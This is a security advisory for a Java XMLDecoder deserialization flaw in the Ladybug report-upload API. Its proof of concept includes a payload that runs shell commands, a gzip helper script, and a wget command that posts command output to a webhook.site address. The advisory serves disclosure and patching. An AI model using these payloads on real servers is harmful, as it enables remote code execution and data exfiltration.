Skip to content

Vulnerability: XMLDecoder Deserialization Vulnerability (Java RCE) in Ladybug < 3.0-20251107.114628

High
jacodg published GHSA-f9fh-r3cv-398f Dec 9, 2025

Package

maven org.wearefrank/ladybug (Maven)

Affected versions

< 3.0-20251107.114628

Patched versions

3.0-20251107.114628

Description

Summary

XMLDecoder Deserialization Vulnerability (Java RCE) in Ladybug < 3.0-20251107.114628

Details

frankframework uses Ladybug provided by wearefrank, which is an add-in to frankframework.

The APIs /iaf/ladybug/api/report/{storage} and /iaf/ladybug/api/report/upload allow uploading gzip-compressed XML files with user-controllable content. The system deserializes these XML files, enabling attackers to achieve Remote Code Execution (RCE) by submitting carefully crafted XML payloads and thereby gain access to the target server.

image-20251031081119133 image-20251031081140361 image-20251031081216632

PoC

  1. The XML content is as follows:
<java version="21.0.8" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>/bin/sh</string>
        <string>-c</string>
        <string>whoami > /tmp/1</string>
        <object method="start">
        </object>
    </new>
 </object>
</java>

Compressed into a .ttr file using gzip.

import gzip

def gzip_compress(data: bytes) -> bytes:
    return gzip.compress(data)

text = open("vuln5.xml", "r").read()
compressed = gzip_compress(text.encode('utf-8'))
with open("vuln5.ttr", "wb") as f:
    f.write(compressed)
  1. On the Testing > Ladybug page, click Upload to upload the .ttr file.
image image
  1. Then pass the response content to webhook.site. Upload Again.
<java version="21.0.8" class="java.beans.XMLDecoder">
    <new class="java.lang.ProcessBuilder">
        <string>/bin/sh</string>
        <string>-c</string>
        <string>wget --post-file &#47;tmp&#47;1 https&#58;&#47;&#47;webhook&#46;site&#47;1545711f-2ac7-48d4-b919-09a605d4194e</string>
        <object method="start">
        </object>
    </new>
 </object>
</java>
  1. It can receive the results of command execution from the target server.
image

Impact

Affected Version: Ladybug < 3.0-20251107.114628

Vendor: wearefrank

Software: Ladybug

Vulnerability Files:

  • src/main/java/nl/nn/testtool/util/Import.java

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L

CVE ID

CVE-2025-66214

Weaknesses

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. Learn more on MITRE.

Credits